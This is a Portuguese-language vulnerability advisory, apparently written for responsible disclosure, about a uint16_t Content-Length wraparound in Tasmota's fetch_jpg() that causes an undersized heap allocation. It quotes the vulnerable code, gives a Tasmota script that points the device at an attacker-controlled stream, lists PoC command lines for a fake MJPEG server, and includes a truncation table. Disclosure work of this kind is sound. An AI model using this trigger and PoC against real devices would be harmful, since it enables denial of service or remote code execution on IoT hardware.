
CVE-2026-38427 — Estouro de inteiro (Integer Wraparound) → Estouro de buffer no heap em Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
Severidade: Crítica (CVSS 9.8)
Produto: Arendst Tasmota
Versão Afetada: <= 15.3.0.3
Arquivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Função: fetch_jpg() — case 2 (captura de quadro MJPEG)
Autor: Saidakbarxon Maxsudxonov
Divulgação: Responsável — relatado ao Tasmota antes da publicação
Uma vulnerabilidade de estouro de inteiro (wraparound) em uint16_t existe na função fetch_jpg() do driver scripter do Tasmota. Quando um dispositivo Tasmota captura quadros MJPEG de um servidor controlado pelo atacante, o valor do cabeçalho Content-Length é lido em uma variável uint16_t através de atoi(). Valores maiores que 65535 sofrem wraparound silencioso (ex.: 65537 → 1), causando a alocação de um buffer no heap drasticamente menor. O dispositivo então lê apenas a quantidade de bytes com wraparound do fluxo, deixando o restante no buffer do fluxo, causando corrupção do estado do heap/fluxo que leva a uma falha (DoS) ou possível execução remota de código.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: capturar próximo quadro MJPEG
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // lê "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() retorna int 70000
// TRUNCAMENTO IMPLÍCITO: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — muito pequeno!
if (buff) {
stream.readBytes(buff, size); // lê apenas 4464 bytes
// 65536 bytes restam no fluxo → corrupção
}
Um atacante que consiga fazer um dispositivo Tasmota conectar-se ao seu servidor HTTP (através de um script Tasmota malicioso ou MITM) pode enviar quadros MJPEG com valores de Content-Length superiores a 65535. O dispositivo irá:
Disparo via script Tasmota:
>D
>B
fetchjp(IP_DO_ATACANTE:PORTA/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
O PoC executa um servidor HTTP MJPEG falso que envia quadros com valores maliciosos de Content-Length:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Veja CVE-2026-38427_poc.py para implementação completa.
| Content-Length (cabeçalho) | valor uint16_t | Buffer alocado | Bytes não lidos |
|---|
| 65536 | 0 | 0 (ignorado) | 65536 |
| 65537 | 1 | 1 byte | 65536 |
| 70000 | 4464 | 4464 bytes | 65536 |
| 131072 | 0 | 0 (ignorado) | 131072 |